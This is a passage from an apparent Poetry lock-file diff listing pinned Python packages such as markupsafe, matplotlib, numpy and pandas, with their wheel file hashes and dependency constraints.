["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["attrs", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "markdownlit" +version = "0.0.7" +description = "markdownlit adds a couple of lit Markdown capabilities to your Streamlit apps" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "markdownlit-0.0.7-py3-none-any.whl", hash = "sha256:b58bb539dcb52e0b040ab2fed32f1f3146cbb2746dc3812940d9dd359c378bb6"}, + {file = "markdownlit-0.0.7.tar.gz", hash = "sha256:553e2db454e2be4567caebef5176c98a40a7e24f7ea9c2fe8a1f05c1d9ea4005"}, +] + +[package.dependencies] +favicon = "*" +htbuilder = "*" +lxml = "*" +markdown = "*" +pymdown-extensions = "*" +streamlit = "*" +streamlit-extras = "*" + +[[package]] +name = "markupsafe" +version = "2.1.3" +description = "Safely add untrusted strings to HTML/XML markup." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"}, + {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, +] + +[[package]] +name = "matplotlib" +version = "3.7.1" +description = "Python plotting package" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "matplotlib-3.7.1-cp310-cp310-macosx_10_12_universal2.whl", hash = "sha256:95cbc13c1fc6844ab8812a525bbc237fa1470863ff3dace7352e910519e194b1"}, + {file = "matplotlib-3.7.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:08308bae9e91aca1ec6fd6dda66237eef9f6294ddb17f0d0b3c863169bf82353"}, + {file = "matplotlib-3.7.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:544764ba51900da4639c0f983b323d288f94f65f4024dc40ecb1542d74dc0500"}, + {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56d94989191de3fcc4e002f93f7f1be5da476385dde410ddafbb70686acf00ea"}, + {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e99bc9e65901bb9a7ce5e7bb24af03675cbd7c70b30ac670aa263240635999a4"}, + {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb7d248c34a341cd4c31a06fd34d64306624c8cd8d0def7abb08792a5abfd556"}, + {file = "matplotlib-3.7.1-cp310-cp310-win32.whl", hash = "sha256:ce463ce590f3825b52e9fe5c19a3c6a69fd7675a39d589e8b5fbe772272b3a24"}, + {file = "matplotlib-3.7.1-cp310-cp310-win_amd64.whl", hash = "sha256:3d7bc90727351fb841e4d8ae620d2d86d8ed92b50473cd2b42ce9186104ecbba"}, + {file = "matplotlib-3.7.1-cp311-cp311-macosx_10_12_universal2.whl", hash = "sha256:770a205966d641627fd5cf9d3cb4b6280a716522cd36b8b284a8eb1581310f61"}, + {file = "matplotlib-3.7.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f67bfdb83a8232cb7a92b869f9355d677bce24485c460b19d01970b64b2ed476"}, + {file = "matplotlib-3.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2bf092f9210e105f414a043b92af583c98f50050559616930d884387d0772aba"}, + {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89768d84187f31717349c6bfadc0e0d8c321e8eb34522acec8a67b1236a66332"}, + {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:83111e6388dec67822e2534e13b243cc644c7494a4bb60584edbff91585a83c6"}, + {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a867bf73a7eb808ef2afbca03bcdb785dae09595fbe550e1bab0cd023eba3de0"}, + {file = "matplotlib-3.7.1-cp311-cp311-win32.whl", hash = "sha256:fbdeeb58c0cf0595efe89c05c224e0a502d1aa6a8696e68a73c3efc6bc354304"}, + {file = "matplotlib-3.7.1-cp311-cp311-win_amd64.whl", hash = "sha256:c0bd19c72ae53e6ab979f0ac6a3fafceb02d2ecafa023c5cca47acd934d10be7"}, + {file = "matplotlib-3.7.1-cp38-cp38-macosx_10_12_universal2.whl", hash = "sha256:6eb88d87cb2c49af00d3bbc33a003f89fd9f78d318848da029383bfc08ecfbfb"}, + {file = "matplotlib-3.7.1-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:cf0e4f727534b7b1457898c4f4ae838af1ef87c359b76dcd5330fa31893a3ac7"}, + {file = "matplotlib-3.7.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:46a561d23b91f30bccfd25429c3c706afe7d73a5cc64ef2dfaf2b2ac47c1a5dc"}, + {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:8704726d33e9aa8a6d5215044b8d00804561971163563e6e6591f9dcf64340cc"}, + {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:4cf327e98ecf08fcbb82685acaf1939d3338548620ab8dfa02828706402c34de"}, + {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:617f14ae9d53292ece33f45cba8503494ee199a75b44de7717964f70637a36aa"}, + {file = "matplotlib-3.7.1-cp38-cp38-win32.whl", hash = "sha256:7c9a4b2da6fac77bcc41b1ea95fadb314e92508bf5493ceff058e727e7ecf5b0"}, + {file = "matplotlib-3.7.1-cp38-cp38-win_amd64.whl", hash = "sha256:14645aad967684e92fc349493fa10c08a6da514b3d03a5931a1bac26e6792bd1"}, + {file = "matplotlib-3.7.1-cp39-cp39-macosx_10_12_universal2.whl", hash = "sha256:81a6b377ea444336538638d31fdb39af6be1a043ca5e343fe18d0f17e098770b"}, + {file = "matplotlib-3.7.1-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:28506a03bd7f3fe59cd3cd4ceb2a8d8a2b1db41afede01f66c42561b9be7b4b7"}, + {file = "matplotlib-3.7.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8c587963b85ce41e0a8af53b9b2de8dddbf5ece4c34553f7bd9d066148dc719c"}, + {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8bf26ade3ff0f27668989d98c8435ce9327d24cffb7f07d24ef609e33d582439"}, + {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:def58098f96a05f90af7e92fd127d21a287068202aa43b2a93476170ebd99e87"}, + {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f883a22a56a84dba3b588696a2b8a1ab0d2c3d41be53264115c71b0a942d8fdb"}, + {file = "matplotlib-3.7.1-cp39-cp39-win32.whl", hash = "sha256:4f99e1b234c30c1e9714610eb0c6d2f11809c9c78c984a613ae539ea2ad2eb4b"}, + {file = "matplotlib-3.7.1-cp39-cp39-win_amd64.whl", hash = "sha256:3ba2af245e36990facf67fde840a760128ddd71210b2ab6406e640188d69d136"}, + {file = "matplotlib-3.7.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3032884084f541163f295db8a6536e0abb0db464008fadca6c98aaf84ccf4717"}, + {file = "matplotlib-3.7.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3a2cb34336110e0ed8bb4f650e817eed61fa064acbefeb3591f1b33e3a84fd96"}, + {file = "matplotlib-3.7.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b867e2f952ed592237a1828f027d332d8ee219ad722345b79a001f49df0936eb"}, + {file = "matplotlib-3.7.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:57bfb8c8ea253be947ccb2bc2d1bb3862c2bccc662ad1b4626e1f5e004557042"}, + {file = "matplotlib-3.7.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:438196cdf5dc8d39b50a45cb6e3f6274edbcf2254f85fa9b895bf85851c3a613"}, + {file = "matplotlib-3.7.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:21e9cff1a58d42e74d01153360de92b326708fb205250150018a52c70f43c290"}, + {file = "matplotlib-3.7.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75d4725d70b7c03e082bbb8a34639ede17f333d7247f56caceb3801cb6ff703d"}, + {file = "matplotlib-3.7.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:97cc368a7268141afb5690760921765ed34867ffb9655dd325ed207af85c7529"}, + {file = "matplotlib-3.7.1.tar.gz", hash = "sha256:7b73305f25eab4541bd7ee0b96d87e53ae9c9f1823be5659b806cd85786fe882"}, +] + +[package.dependencies] +contourpy = ">=1.0.1" +cycler = ">=0.10" +fonttools = ">=4.22.0" +kiwisolver = ">=1.0.1" +numpy = ">=1.20" +packaging = ">=20.0" +pillow = ">=6.2.0" +pyparsing = ">=2.3.1" +python-dateutil = ">=2.7" + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "more-itertools" +version = "9.1.0" +description = "More routines for operating on iterables, beyond itertools" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "more-itertools-9.1.0.tar.gz", hash = "sha256:cabaa341ad0389ea83c17a94566a53ae4c9d07349861ecb14dc6d0345cf9ac5d"}, + {file = "more_itertools-9.1.0-py3-none-any.whl", hash = "sha256:d2bc7f02446e86a68911e58ded76d6561eea00cddfb2a91e7019bbb586c799f3"}, +] + +[[package]] +name = "numpy" +version = "1.24.3" +description = "Fundamental package for array computing in Python" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "numpy-1.24.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3c1104d3c036fb81ab923f507536daedc718d0ad5a8707c6061cdfd6d184e570"}, + {file = "numpy-1.24.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:202de8f38fc4a45a3eea4b63e2f376e5f2dc64ef0fa692838e31a808520efaf7"}, + {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8535303847b89aa6b0f00aa1dc62867b5a32923e4d1681a35b5eef2d9591a463"}, + {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d926b52ba1367f9acb76b0df6ed21f0b16a1ad87c6720a1121674e5cf63e2b6"}, + {file = "numpy-1.24.3-cp310-cp310-win32.whl", hash = "sha256:f21c442fdd2805e91799fbe044a7b999b8571bb0ab0f7850d0cb9641a687092b"}, + {file = "numpy-1.24.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab5f23af8c16022663a652d3b25dcdc272ac3f83c3af4c02eb8b824e6b3ab9d7"}, + {file = "numpy-1.24.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9a7721ec204d3a237225db3e194c25268faf92e19338a35f3a224469cb6039a3"}, + {file = "numpy-1.24.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cc757de514c00b24ae8cf5c876af2a7c3df189028d68c0cb4eaa9cd5afc2bf"}, + {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76e3f4e85fc5d4fd311f6e9b794d0c00e7002ec122be271f2019d63376f1d385"}, + {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d3c026f57ceaad42f8231305d4653d5f05dc6332a730ae5c0bea3513de0950"}, + {file = "numpy-1.24.3-cp311-cp311-win32.whl", hash = "sha256:c91c4afd8abc3908e00a44b2672718905b8611503f7ff87390cc0ac3423fb096"}, + {file = "numpy-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:5342cf6aad47943286afa6f1609cad9b4266a05e7f2ec408e2cf7aea7ff69d80"}, + {file = "numpy-1.24.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7776ea65423ca6a15255ba1872d82d207bd1e09f6d0894ee4a64678dd2204078"}, + {file = "numpy-1.24.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ae8d0be48d1b6ed82588934aaaa179875e7dc4f3d84da18d7eae6eb3f06c242c"}, + {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecde0f8adef7dfdec993fd54b0f78183051b6580f606111a6d789cd14c61ea0c"}, + {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4749e053a29364d3452c034827102ee100986903263e89884922ef01a0a6fd2f"}, + {file = "numpy-1.24.3-cp38-cp38-win32.whl", hash = "sha256:d933fabd8f6a319e8530d0de4fcc2e6a61917e0b0c271fded460032db42a0fe4"}, + {file = "numpy-1.24.3-cp38-cp38-win_amd64.whl", hash = "sha256:56e48aec79ae238f6e4395886b5eaed058abb7231fb3361ddd7bfdf4eed54289"}, + {file = "numpy-1.24.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4719d5aefb5189f50887773699eaf94e7d1e02bf36c1a9d353d9f46703758ca4"}, + {file = "numpy-1.24.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0ec87a7084caa559c36e0a2309e4ecb1baa03b687201d0a847c8b0ed476a7187"}, + {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea8282b9bcfe2b5e7d491d0bf7f3e2da29700cec05b49e64d6246923329f2b02"}, + {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:210461d87fb02a84ef243cac5e814aad2b7f4be953b32cb53327bb49fd77fbb4"}, + {file = "numpy-1.24.3-cp39-cp39-win32.whl", hash = "sha256:784c6da1a07818491b0ffd63c6bbe5a33deaa0e25a20e1b3ea20cf0e43f8046c"}, + {file = "numpy-1.24.3-cp39-cp39-win_amd64.whl", hash = "sha256:d5036197ecae68d7f491fcdb4df90082b0d4960ca6599ba2659957aafced7c17"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:352ee00c7f8387b44d19f4cada524586f07379c0d49270f87233983bc5087ca0"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a7d6acc2e7524c9955e5c903160aa4ea083736fde7e91276b0e5d98e6332812"}, + {file = "numpy-1.24.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:35400e6a8d102fd07c71ed7dcadd9eb62ee9a6e84ec159bd48c28235bbb0f8e4"}, + {file = "numpy-1.24.3.tar.gz", hash = "sha256:ab344f1bf21f140adab8e47fdbc7c35a477dc01408791f8ba00d018dd0bc5155"}, +] + +[[package]] +name = "packaging" +version = "23.1" +description = "Core utilities for Python packages" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, +] + +[[package]] +name = "pandas" +version = "2.0.2" +description = "Powerful data structures for data analysis, time series, and statistics" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pandas-2.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9ebb9f1c22ddb828e7fd017ea265a59d80461d5a79154b49a4207bd17514d122"}, + {file = "pandas-2.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eb09a242184092f424b2edd06eb2b99d06dc07eeddff9929e8667d4ed44e181"}, + {file = "pandas-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c7319b6e68de14e6209460f72a8d1ef13c09fb3d3ef6c37c1e65b35d50b5c145"}, + {file = "pandas-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd46bde7309088481b1cf9c58e3f0e204b9ff9e3244f441accd220dd3365ce7c"}, + {file = "pandas-2.0.2-cp310-cp310-win32.whl", hash = "sha256:51a93d422fbb1bd04b67639ba4b5368dffc26923f3ea32a275d2cc450f1d1c86"}, + {file = "pandas-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:66d00300f188fa5de73f92d5725ced162488f6dc6ad4cecfe4144ca29debe3b8"}, + {file = "pandas-2.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:02755de164da6827764ceb3bbc5f64b35cb12394b1024fdf88704d0fa06e0e2f"}, + {file = "pandas-2.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0a1e0576611641acde15c2322228d138258f236d14b749ad9af498ab69089e2d"}, + {file = "pandas-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6b5f14cd24a2ed06e14255ff40fe2ea0cfaef79a8dd68069b7ace74bd6acbba"}, + {file = "pandas-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50e451932b3011b61d2961b4185382c92cc8c6ee4658dcd4f320687bb2d000ee"}, + {file = "pandas-2.0.2-cp311-cp311-win32.whl", hash = "sha256:7b21cb72958fc49ad757685db1919021d99650d7aaba676576c9e88d3889d456"}, + {file = "pandas-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:c4af689352c4fe3d75b2834933ee9d0ccdbf5d7a8a7264f0ce9524e877820c08"}, + {file = "pandas-2.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:69167693cb8f9b3fc060956a5d0a0a8dbfed5f980d9fd2c306fb5b9c855c814c"}, + {file = "pandas-2.0.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:30a89d0fec4263ccbf96f68592fd668939481854d2ff9da709d32a047689393b"}, + {file = "pandas-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a18e5c72b989ff0f7197707ceddc99828320d0ca22ab50dd1b9e37db45b010c0"}, + {file = "pandas-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7376e13d28eb16752c398ca1d36ccfe52bf7e887067af9a0474de6331dd948d2"}, + {file = "pandas-2.0.2-cp38-cp38-win32.whl", hash = "sha256:6d6d10c2142d11d40d6e6c0a190b1f89f525bcf85564707e31b0a39e3b398e08"}, + {file = "pandas-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:e69140bc2d29a8556f55445c15f5794490852af3de0f609a24003ef174528b79"}, + {file = "pandas-2.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b42b120458636a981077cfcfa8568c031b3e8709701315e2bfa866324a83efa8"}, + {file = "pandas-2.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f908a77cbeef9bbd646bd4b81214cbef9ac3dda4181d5092a4aa9797d1bc7774"}, + {file = 